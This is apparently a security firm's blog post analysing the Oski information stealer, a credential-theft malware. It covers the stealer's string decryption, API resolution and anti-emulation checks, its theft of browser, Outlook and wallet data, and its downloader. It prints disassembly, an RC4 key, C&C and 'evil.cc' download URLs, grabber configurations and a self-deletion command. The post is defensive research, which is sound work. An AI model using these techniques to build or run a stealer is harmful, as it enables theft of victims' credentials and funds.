# **Meet Oski Stealer: An In-depth Analysis of the Popular Credential Stealer**

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Credential theft malware continues to be one of the most prevalent types of malware used in cyber attacks. The main objective of nearly all credential theft malware is to gather as much confidential and sensitive information, like user credentials and financial information, as possible.

The Oski stealer is a malicious information stealer, which was first introduced in November 2019. As the name implies, the Oski stealer steals personal and sensitive information from its target. "Oski" is derived from an old Nordic word meaning Viking warrior, which is quite fitting considering this popular info-stealer is extremely effective at pillaging privileged information from its victims.

In this blog, we provide an in-depth analysis of an Oski stealer sample.

## **Background**

As noted above, the Oski stealer is a classic information stealer that is being sold on Russian underground hacking forums at a low price of **\$70-\$100**.



*Figure 1: Forum thread for selling Oski Stealer*

The stealer is written in C++ and has all the typical features of credential theft malware. Oski targets sensitive information including:

- Login credentials from different applications
- Browser information (cookies, autofill data and credit cards)
- Crypto wallets
- System information
- Screenshots
- Different user files

Beyond these, the stealer can function as a **Downloader** to download a **second-stage malware**.

Every infection involving three parties:

- 1. Malware authors
- 2. Malware customers
- 3. Malware victims

The "customers," also known as the attackers, contact Oski authors on underground forums to purchase the malware and, once purchased, they configure it and distribute it to their victims.

Oski has a very strong reputation within the underground community, with many of its "customers" regularly providing positive feedback and reviews about the functionality of the malware.

And, even we have to admit that Oski's functionality works pretty well. From setting up and checking the environment to stealing information by application type, Oski's code is written with purpose and care. The code is neat and clean, without any presence of useless code lines, however it does lack sophisticated anti-analysis tricks like anti-debugging and dynamic anti-analysis tricks.



## *Figure 2: Malware Flow*

# **In-depth Analysis**

The sample of Oski stealer analyzed in this blog post is: *aa33731aa48e2ea6d1eaab7c425f9001182c0e73e0226eb01145d6b78d7cb9eb*. As soon as we opened the Oski stealer sample in IDA, we noticed that it was packed. In our case, the packer used a **self-injection** technique to pack Oski's payload. It then unpacks the payload and writes it to a new memory region – making it easy to notice the new memory region and dump it from memory.

Looking at the TimeDataStamp from the file header of the unpacked PE reveals the compilation time – *0x5EDFAA70* (compiled on 9 Jun 2020). The latest version for Oski stealer v9.1 was released on 19 June 2020, and version v9 was released on 3 Jun 2020, which means that our sample of Oski is **Oski stealer v9**.

Before diving into the stealer's capabilities, it's important to note that the malware uses two obfuscation techniques:

- **Strings encryption**
- **Dynamic loading** of DLLs and functions

To be able to start reverse-engineering the sample statically, we have to decrypt the strings and resolve the loaded functions and DLLs.

# **Strings Setup**

The first function Oski calls from *Main* is stringsSetup – the function responsible for decrypting all the strings for the malware and saving them in memory. The function holds several Base64 strings and a decryption key.

```
stringsSetup proc near
var_4= dword ptr -4
push
       ebp
mov
       ebp, esp
push
       ecx
       [ebp+var_4], ecx
mov
       key, offset a11015147250010; "110151472500104935"
mov
push offset aGiy5ppzzrvrkzk ; "GIy5pPzzrVrkzKRX4dhTFs7EZFq4QyGfbmVzbu2"...
call decryptB64
add
       esp,
       dword_431678, eax
mov
       offset aHa
push
call
       decryptB64
       esp, 4
add
mov
       Mode, eax
push
     offset aGjnzinipsemrzq ; "GJnziNipsEmrzQ=="
       decryptB64
call -
add
       esp, 4
       dword_4315C0, eax
mov
       offset aOjnzinipvhdLlo ; "OJnziNipvhD+lLo/g8VJbLfdexmiCDjECiZrJZr"...
push
call
       decryptB64
add
       esp,
mov
      dword_4315BC, eax
push offset aPinumnkz7qfzno ; "PInumNKz7QfznOQ="
call and
       decryptB64
add
       esp,
      dword_431350, eax
mov
      offset aKyn0xp3h7q ; "KYn0xp3h7Q=="
push
call
       decryptB64
add
       esp,
mov
      dword_43146C, eax
push offset aPppljofku04 ; "PpPljofku04="
       decryptB64
call
add
       esp, 4
       dword_43163C, eax
mov
       offset aKiTjmiw0Z9ZY9j WKI/tjMiw+0/z9/Z/y9JEZOk="
push
call
       decryptB64
add
       esp,
mov
       dword_431520, eax
      offset aOjnzinipvngy1B ; "OJnziNipvnGy1/Bnz48Be7rVJQ == "
push
```
*Figure 3: stringSetup function*

The function decryptB64 (figure 3) gets the decryption key (which in our case is *110151472500104935*) and the base64 string.

decryptB64 decodes the base64 string and decrypts the decoded information by using **RC4**. Finally, the function returns the decrypted string to the string's setup function, which saved the decrypted string within memory (Figure 3).

**TIP:** RC4 is a pretty common cipher that's used by malware developers. When trying to figure out which decryption/encryption routine is used in malware, the standard process we tend to follow is to first start by finding any constant ("magic") values to help reveal the

decryption/encryption routine. For RC4, there are no constant values – in fact, it's the most popular algorithm that doesn't use constant values.

# **Function Setup**

The second function Oski calls for after setting up all the strings in memory is *procsSetup*, which is responsible for loading different DLLs, resolving function addresses and saving the addresses within memory.

The names of the functions and DLLs are encrypted, therefore we must first decrypt the strings and then we will be able to determine which functions and DLLs are loaded.

Oski gets the address for the functions LoadLibraryA and GetProcAddress from memory. This part of the code is written as a Position-Independent code (PIC).

There are two operations Oski performs in order to get the functions from memory:

- Find the base address of *dll* from the *PEB* structure of the process
- Resolve the address of the functions from the export table of *kernel32*.dll by parsing the PE within memory

The next part describes these methods and how Oski stealer implemented them.

If you are already familiar with these techniques, you can skip ahead to Back to Functions Setup>.

## **Find kernel32.dll**

In x86 programs, the FS segment register holds the [Thread Information Block](https://en.wikipedia.org/wiki/Win32_Thread_Information_Block) (TEB struct) for the current thread.

The \_TEB structure holds a pointer within *offset 0x30* to the [Process Environment Block](https://en.wikipedia.org/wiki/Process_Environment_Block) (\_PEB), which contains information about the running process in the form of several data structures and many different fields.

One of those structures is a pointer to \_PEB\_LDR\_DATA within *offset 0x0c* from the start of the PEB*.*

The **PEB** LDR DATA struct provides information about the DLLs that are loaded into the process.

typedef struct PEB LDR DATA				
<b>ULONG</b>	Length;		$/* +0x00 *$ /	
<b>BOOLEAN</b>	Initialized;		$/* +0x04 */$	
<b>PVOID</b>	SsHandle;		$/* +0x08 *$ /	
LIST ENTRY	InLoadOrderModuleList;		$/* +0x0c */$	
LIST ENTRY	InMemoryOrderModuleList;		$/* +0x14 */$	
<b>LIST ENTRY</b>	InInitializationOrderModuleList;/* +0x1c */			
PEB LDR DATA, *PPEB LDR DATA; $/* +0x24 */$				

*Figure 4: \_PEB\_LDR\_DATA structure*

The PEB LDR DATA holds 3 pointers to 3 doubly linked lists – InLoadOrderModuleList, InMemoryOrderModuleList and InInitializationOrderModuleList. All provide information about the loaded DLLs in the process, however the second and the third lists are good for finding the desired DLL.

The list InMemoryOrderModuleList holds the DLLs loaded by the process sorted by their **order in memory,** and the list InInitializationOrderModuleList holds the DLLs by their **order of initialization**.

The entry within all three lists is LDR module ( LDR\_DATA\_TABLE\_ENTRY) for the current DLL in the list.

getKernel32BasePIC proc near		; CODE XREF: 00089706↑p : 006E97061p	
	pKernel32Base= dword ptr -4		
push mov push mov mov mov mov mov mov mov mov mov mov pop retn	ebp ebp, esp ecx [ebp+pKernel32Base], 0 eax, large fs:30h eax, [eax+0Ch] eax, [eax+0Ch] eax, [eax] eax, [eax] eax, $[$ eax+18h] [ebp+pKernel32Base], eax eax, [ebp+pKernel32Base] esp, ebp ebp getKernel32BasePIC endp	; pPEB ; pLdr ; pDllBase	; pInLoadOrderModuleList ; pInLoadOrderLinks->Flink kernel32.dll

*Figure 5: \_LDR\_DATA\_TABLE\_ENTRY structure*

The LDR DATA TABLE ENTRY contains information about the loaded DLL. From offset **0x18** from the address of LDR DATA TABLE ENTRY, we can obtain the DIIBase, which is a pointer to the **DLL base address** in memory.

After explaining the theory for getting the modules base address independently, we will check how Oski implements this technique.

typedef struct LDR DATA TABLE ENTRY			
LIST ENTRY InLoadOrderLinks;		$/* +0x00 *$ /	
LIST ENTRY InMemoryOrderLinks;		$/* +0x08 *$ /	
LIST ENTRY InInitializationOrderLinks;		$/* +0x10*/$	
PVOID DllBase;		$/* +0x18 */$	
PVOID EntryPoint;		$/* +0x1c */$	
ULONG SizeOfImage; $/* +0x20 */$			
UNICODE STRING FullDllName; $/* +0x24 */$			
UNICODE STRING BaseDllName;		$/* +0x28 */$	

*Figure 6: Oski function for getting kernel32.dll base address*

Oski gets the base address of *kernel32.dll* from memory, which is the third entry within the LIST ENTRY in InLoadOrderModuleList (The first entry is a pointer for the executable and the second is for *ntdll.dll*).

Oski's next steps are to get the address of LoadLibraryA and GetProcAddress; both functions are exported by *kernel32.dll*.

## **Find Exported Functions**

Once Oski gets the base address of *kernel32.dll*, it parses the PE file and loops over the exported functions of the DLL to get the address of the desired functions.

To do so, it needs to traverse serval headers of the DLL.



#### *Figure 7: how to get the EXPORT\_DIRECTORY*

After getting the *Export Table,* Oski must find the desired function by looking for the function name. The process is as follows:

- The AddressOfNames is a pointer to an array of the exported functions **names**, so Oski loops through the array and compares each function name to the desired function, while counting the position of the string in the array.
- Oski gets the ordinal number for the function from the *Ordinal Table.* Each entry in the table is 2 bytes, therefore, it must multiply the position of the function name by 2.
- Finally, Oski calculates the address for the function from the *Address Table.* Each entry in the table is 4 bytes, therefore, it must multiply the ordinal number by 4.

## **Back to Functions Setup**

Oski uses a function that implements this technique for getting the function's address from memory. The function GetProcAddrPIC (figure 8) gets a pointer to the DLL base address and a name for an exported function.



*Figure 8: Oski get the address for LoadLibraryA and GetProcAddress*

Finally, after getting the address of those APIs, Oski can start loading DLLs and resolving function addresses. As we mentioned earlier, all the strings are encrypted, so we have to decrypt them first to be able to understand statically which functions and DLLs Oski uses.

GetProcAddress and LoadLibraryA are being called many times in order to load different DLLs and resolve functions.

To make our analysis easier, we made an IDA Python script that automates Oski setup stages and deobfuscates the code.

# **Oski Deobfuscator: An IDA Python Script**

The script automates all the analysis of the setup stages for Oski stealer (v9+) and defeats its obfuscation to make the static analysis easier and more convenient.

## **Strings Setup**

- Find the decryption key
- Decrypt all the strings (B64, RC4)
- Give meaningful names (IDA)
- Add comments with the full decrypted string

#### **Functions Setup**

- Find LoadLibraryA and GetProcAddress
- Resolve the loaded DLLs and functions
- Give meaningful names to functions and DLLs (IDA)



*Figure 9: Before and after using oski\_ida.py*

The script decrypted **380 strings**, resolved **107 functions,** and **11 DLLs**. In addition, the script dumps the addresses and the full decrypted strings to a JSON file.

You can find the script **oski ida.py** on our [repo](https://github.com/cyberark/malware-research/blob/master/OskiStealer/Oski_deobfuscator/oski_ida.py)

Finally, after setting up the names for the strings and functions, we can move to analyzing the sample statically.

# **Environment Checks**

## **CIS Check**

Oski checks the user language to determine if it's part of the **Commonwealth of Independent States** (CIS) countries. This behavior is popular, especially within crimeware tools that are sold on Russian underground forums.



*Figure 10: cisDetection function*

Oski gets the user language ID by using GetUserDefaultLangID and it compares the user language ID to:

0x423





If the user language ID matches one of the IDs above, the stealer will exit.

## **Anti-Emulation Check**

The second check is an anti-emulation check for Windows Defender Antivirus. The malware calls to GetComputerNameA and compares the computer name to *HAL9TH*. In addition, it checks if the username is *JohnDoe* by calling to GetUserNameA. Those two parameters are being used by the Windows Defender emulator.

# **The Stealer's Main Functionality**

Oski steals confidential and sensitive data from ~60 different applications, including browsers, email clients, and crypto wallets. Among its stealing features, it can also function as a **Grabber** and **Loader**.

Before stealing credentials from different applications, Oski sets up its "working environment." However, in order to steal data by different methods from different applications, Oski has to download serval DLLs.

Oski downloads 7 DLLs from the C&C server and saves them in the *ProgramData* folder.

- sqlite3.dll
- freebl3.dll
- mozglue.dll
- msvcp140.dll
- nss3.dll
- softokn3.dll
- vcruntime140.dll

.text:00950F72 mov	eax, aCprogramdatasoftoknd	
	; LPCSTR eax.	
.text:00950F78 <b>lea</b>	ecx, [ebp+c2softokend; LPCSTR aCprogramdatasoftoknd	
.text:00950F7E push	; intaCprogramdatasoftoknd dd ? ecx.	; DATA XREF: 00090F721r
.text:00950F7F call	downloadFile	: 0009137B1r
	esp, 8	; C:\\ProgramData\\softokn3.dll
text:00950F87 mov	edx, aCprogramdatasqlitedi	
text:00950F8D push.	edx. ; LPCSTR	
.text:00950F8E <b>lea</b>	eax, [ebp+c2sqlitedll]	
	eax. ; int	
.text:00950F95 <b>call</b>	downloadFile	
text:00950F9A add.	esp, 8	
.text:00950F9D <b>mov</b>	ecx, aCprogramdatafreebldl	
.text:00950FA3 <b>push</b>	; LPCSTR ecx.	
.text:00950FA4 <b>lea</b>	edx, [ebp+c2freebldll]	
text:00950FAA push.	edx. ; int	
.text:00950FAB <b>call</b>	downloadFile	
.text:00950FB0 <b>add</b>	esp, 8	
text:00950FB3 mov	eax, aCprogramdatamozglued	
text:00950FB8 <b>push</b> .	eax ; LPCSTR	
.text:00950FB9 <b>lea</b>	ecx, [ebp+c2mozgluedll]	
text:00950FBF push.	$:$ int ecx.	
.text:00950FC0 <b>call</b>	downloadFile	
text:00950FC5 add.	esp, 8	
text:00950FC8 mov	edx, aCprogramdatamsvcpdll	
.text:00950FCE <b>push</b>	edx. : LPCSTR	
.text:00950FCF <b>lea</b>	eax, [ebp+c2msvcpdll]	
text:00950FD5 push.	; int eax.	
text:00950FD6 <b>call</b> .	downloadFile	
text:00950FDB add	esp, 8	
text:00950FDE mov	ecx, aCprogramdatanssdll	
.text:00950FE4 push	ecx. ; LPCSTR	
.text:00950FE5 <b>lea</b>	edx, [ebp+c2nssdll]	
.text:00950FEB <b>push</b>	edx. $;$ int	
.text:00950FEC call	downloadFile	
	esp, 8	
text:00950FF4 <b>mov</b> .	eax, aCprogramdatavcruntim	
.text:00950FF9 push .text:00950FFA <b>lea</b>	; LPCSTR eax. ecx, [ebp+c2vcruntimedll]	
text:00951000 <b>push.</b>	ecx. ; int	
.text:00951001 call	downloadFile	

*Figure 11: Oski downloads dependencies (7 DLLs)*

Each DLL has its own URL address. In the Oski version we sampled, the URL for the DLL is the DLL's name – *evil.cc/sqlite3.dll*.

In some other versions, Oski makes the requests to *evil.cc/1.jpeg*, *evil.cc/2.jpeg* and so on, to download the DLLs.

(1.jpeg = sqlite3.dll, 2.jpeg = freebl3.dll, 3.jpeg = mozglue.dll, 4.jpeg = msvcp140.dll, 5.jpeg = nss3.dll, 6.jpeg = softokn3.dll, 7.jpeg = vcruntime140.dll)

Because Oski makes those **seven requests** to the C&C server to download its dependencies, it is not very stealthy.

Oski creates its working folder which is named with a 15 digits randomly generated string within *ProgramData* like *C:\ProgramData\234378117851778*, for example. This folder will contain all the stolen logs and data. In addition, it creates four folders inside the working folder:

- autofill autofill data from browsers
- $\cdot$  cc credit card data
- cookies browsers cookies
- $\bullet$  crypto cryptocurrency wallets

#### **Browsers and Email Clients**

Oski steals **login credentials**, **cookies**, **credit card** and **autofill** information from 30+ different browsers using well-known and familiar stealing methods.

It has four different methods to steal data from different types of browses, like **Mozilla** based applications, **Opera**, **Internet Explorer** and **Chromium**-based browsers.

It's worth mentioning that Oski updated its stealing technique regarding Chromium-based browsers and now supports the new method (v80+) by Chromium for encrypting credentials and cookies with a global AES key that is stored within *%localappdata%\Google\Chrome\User Data\Local State* and encrypted by using DPAPI. Prior to version 80 of Chromium, the credentials and cookies were simply encrypted by DPAPI instead that AES key.

Furthermore, Oski collects information about the connected **Outlook** accounts from the registry like passwords and confidential data about the IMAP and SMTP servers and it dumps all the data to file named *outlook.txt*.



#### *Figure 12: stealing data from Outlook registry profiles*

We won't cover Oski's stealing techniques as they aren't terribly innovative and have been reviewed many times, but you can find an explanation about most of these techniques in this [whitepaper on the Raccoon stealer](https://lp.cyberark.com/rs/316-CZP-275/images/CyberArk-Labs-Racoon-Malware-wp.pdf).

## **Cryptocurrency Wallets**

Oski also steals wallets and confidential files that are related to crypto wallet applications. It targets 28 crypto wallet applications, which store sensitive data in files. An example is the most known file- *wallet.dat which* contains the confidential data about the wallet including **private keys**, public keys, etc.

The stealer checks for the default wallet file location in *AppData* and copies it to the working folder.

text:00954D00.		mw_cryptoSteal proc near
text:00954D00.		
		.text:00954D00 workingFolder= dword ptr 8
text:00954D00.		
text:00954D00.	push	ebp
text:00954D01.	mov	ebp, esp
.text:00954D03	push	104h ; Size
.text:00954D08	push	Val 0
.text:00954D0A	push	offset workingFolder ; void *
.text:00954D0F	call	memset
.text:00954D14	add	esp, 0Ch
text:00954D17.	mov	[ebp+workingFolder] eax,
.text:00954D1A	push	lpString2 eax
.text:00954D1B	push	offset workingFolder ; lpString1
.text:00954D20	call	lstrcatA
text:00954D26.	mov	ecx <b>, aWaldat</b> senstaiveFile
.text:00954D2C .text:00954D2D	push	ecx ÷
.text:00954D33	mov	aBitcoin edx. edx
text:00954D34.	push mov	cryptoAppFolder ÷ eax, <b>aBitcoin</b>
text:00954D39.	push	; pAppFolder eax
.text:00954D3A	call	mw_find_copyFileAppData
.text:00954D3F	add	esp, 0Ch
text:00954D42.	mov	aKeystore ecx,
.text:00954D48	push	senstaiveFile ecx ;
text:00954D49.	mov	edx, aEthereum
.text:00954D4F	push	edx cryptoAppFolder ;
text:00954D50.	mov	eax, aEthereum
.text:00954D55	push	; pAppFolder eax
text:00954D56.	call	mw_find_copyFileAppData
text:00954D5B.	add	esp, 0Ch
.text:00954D5E	mov	aDefaultwallet ecx,
text:00954D64.	push	senstaiveFile ecx
text:00954D65.	mov	aElectrumwallets edx.
.text:00954D6B	push	edx ; cryptoAppFolder
.text:00954D6C	mov	aElectrum eax,
.text:00954D71	push	; pAppFolder eax
text:00954D72.	call	mw_find_copyFileAppData
text:00954D77.	add	esp, 0Ch
.text:00954D7A	mov	ecx, aDefaultwallet
text:00954D80.	push	; senstaiveFile ecx
.text:00954D81	mov	aElectrumltcwallets edx,
text:00954D87.	push	edx ; cryptoAppFolder
.text:00954D88 mov		eax, aElectrumltc
.text:00954D8D	push	; pAppFolder eax
.text:00954D8E .text:00954D93 <b>add</b>	call	mw_find_copyFileAppData
		esp, 0Ch

*Figure 13: Oski stealing from crypto wallets apps*

The configuration for this module:





# **Collect System Information**

Similar to other classic stealers, Oski gathers information about the system and takes a screenshot of the user's desktop. It then writes the information to *system.txt* and saves the screenshot to *screenshot.jpg.*

## **System**

Windows version, computer architecture, username, computer name, system language, Machine ID, GUID, domain name and Workgroup name.

## **Hardware**

Processor type, number of processors, video card type, display resolution, RAM size, and checks if the computer is a laptop or desktop. Oski checks if the computer is a laptop by calling to GetSystemPowerStatus – the function retrieves information about the power status of the system. The returned [struct](https://docs.microsoft.com/en-us/windows/win32/api/winbase/ns-winbase-system_power_status) contains a one-byte flag named batteryFlag, which can indicate if the system has a battery or not.



*Figure 14: checkLaptop function*

- **Local time**
- **Network**

Oski has hardcoded values for this section, so the log will always contain unknown values – *IP: IP?* and *Country: Country?*



*Figure 15: Oski writes the useless values*

#### **Installed Software**

Get the installed applications on the machine and its version. Oski has a typo in this section, the title is *Installed Softwrare*, instead of "Software," so this typo is unique for Oski logs.

# Network IP: IP? Country: Country? Installed Softwrare Foxmail 7.2.14.410 Google Chrome 83.0.4103.116 Mozilla Thunderbird 68.3.1 (x86 en-US) 68.3.1 Visual C++ Compiler/Tools X86 ARM Cross Package 14.0.24210 Visual C++ MSBuild ARM Package 14.0.25420

*Figure 16: Oski system log*

**Screenshot**

## **Grabber Module**

Oski also has a recursive grabber that collects particular files from the victim's computer. The module is configurable, allowing the attacker to decide whether to enable this module and if so, which files to collect from the user.

Oski creates a POST request to *main.php* in the C&C. In our case, the URL is http://sl9XA73g7u3EO07WT42n7f4vIn5fZH[.]biz/main.php. The response from the C&C contains the configuration for the grabber.

The first part of the Grabber function is parsing the response data. The parsing function uses strtok function while passing the delimiter "*;*" and the response data from the C&C.

It extracts the first three tokens from the configuration and passes them to the "main function" of the grabber. After the first three tokens, the parsing function takes the next three tokens, and so on.

In this way, we can figure out that the structure of the configuration has three parts (parameters) and that the configuration can hold several tasks.

Let's focus on *mainGrabber* function. This function gets three arguments, which are the three tokens from the configuration, each call to *mainGrabber* is called "task."

The task structure has three fields (parameters):

1. A name for the zip file – will contain all the stolen files that related to the current task. Oski concatenates to this name an underscore at the beginning, so the name for the zip will be *\_%name%.zip*.

- 2. An environment variable name and folder name a starting point for the *recursiveGrabber*.
- 3. A regex list contains multiply parameters that are separated by "*,*" each one of them is a regex that represents a file type.



The *recursiveGrabber* gets those three "task" parameters.

*Figure 17: calling to recursiveGrabber and loop of the regex list*

While doing this research, we extracted several configurations from other C&Cs, so the grabber configuration looks like:

Documents;USERPROFILE\Documents;\*.jpg,\*.img,\*.json,\*.txt;

desktop;USERPROFILE\Desktop;\*.jpg,\*.img,\*.json,\*.txt;

For this C&C, the attacker created two tasks to collect jpg, img, json and txt files from the user Desktop and Documents. Oski will save those files in 2 separate zip files named *\_Documents.zip* and *\_deksop.zip*.

From reviewing the extracted configurations from other C&C servers, we understand that other attackers have intents to collect different files, like 2fa files, wallet files from different locations or even personal documents.

The extracted configuration for other C&C servers can be found in our IoCs page: <u>IoCs.pdf</u>

# **Downloader**

After stealing the sensitive data from the user and grabbing the files, Oski adds the stolen files to a new zip file whose name of the contains the 10 characters from the working folder name and an underscore at the beginning.



*Figure 18: zip file content*

After sending the zip file, the C&C server should send within the response the **domain** for the downloader. The response might be empty if the feature isn't enabled.

Oski downloads the next malware from the given domain and executes it.

The stealer creates a random file name with a *.exe* extension and sets the stream Zone.Identifier of the file to [ZoneTransfer] ZoneId=2*,* which indicates that the file has been downloaded from a **trusted site**.



*Figure 19: Loader function*

# **Self-Removal**

Oski removes its traces from the machine and deletes all the files, logs, DLLs, etc. from the disk.

In addition, it creates a new process of cmd.exe while the parameters for cmd.exe are /c /taskkill /pid <pid> & erase <path> & RD /S /Q <working folder>\\* & exit to kill the malware process and delete other files.

# **Conclusion**

Although Oski stealer doesn't target as many types of software as other stealers, it is still effective, continues to be updated and improved and maintains a strong reputation in the underground community.

The unique characteristic of credential theft malware is that they don't require any special permissions. Because of this, they are a popular resource for attacks and ultimately can cause significant damage – especially as attackers continue to seek out privileged credentials and look for opportunities to escalate their privileges for massive data theft or business disruption.

To combat against credential theft malware like Oski, we recommend the following:

- **Be aware** avoiding clicking suspicious URLs, opening unknown attachments, or downloading and running unfamiliar applications.
- **Deploy MFA**  using multi-factor authentication where applicable.
- **Use strong and unique passwords** don't use the same passwords for all the services and replace them on a regular cadence.
- **Leverage credential protection solutions**  A credential protection solution can defend against the fundamental nature of credential stealers and protect credentials from getting harvested by attackers.

# **Appendix**

# **YARA Rule**

Oski Stealer.yara

# **Targeted Applications**

#### **Browsers**

Internet Explorer

Google Chrome, Chromium, Kometa, Amigo, Torch, Orbitum, Comodo Dragon, Nichrome, Maxthon, Sputnik, Epic Privacy Browser, Vivaldi, CocCoc Browser, Uran Browser, QIP Surf, Cent, Elements Browser, TorBro, Microsoft Edge, CryptoTab, Brave Opera Mozilla Firefox, Pale Moon, Waterfox, Cyberfox, BlackHawk, IceCat, KMeleon

#### **Email Clients**

**Thunderbird Outlook** 

## **Crypto Wallets**

Anoncoin, BBQCoin, Bitcoin, DashCore, ElectronCash, Electrum, Electrum-LTC, Ethereum, Exodus, Florincoin, Franko, Freicoin, GoldCoinGLD, IOCoin, Infinitecoin, Ixcoin, Litecoin, Megacoin, Mincoin, MultiDoge, Namecoin, Primecoin, Terracoin, YACoin, Zcash, devcoin, digitalcoin, jaxx

# **IoCs**

[IoCs.pdf](https://github.com/cyberark/malware-research/blob/master/OskiStealer/IoCs.pdf)

[\[1\] Basics of Windows shellcode writing](https://idafchev.github.io/exploit/2017/09/26/writing_windows_shellcode.html)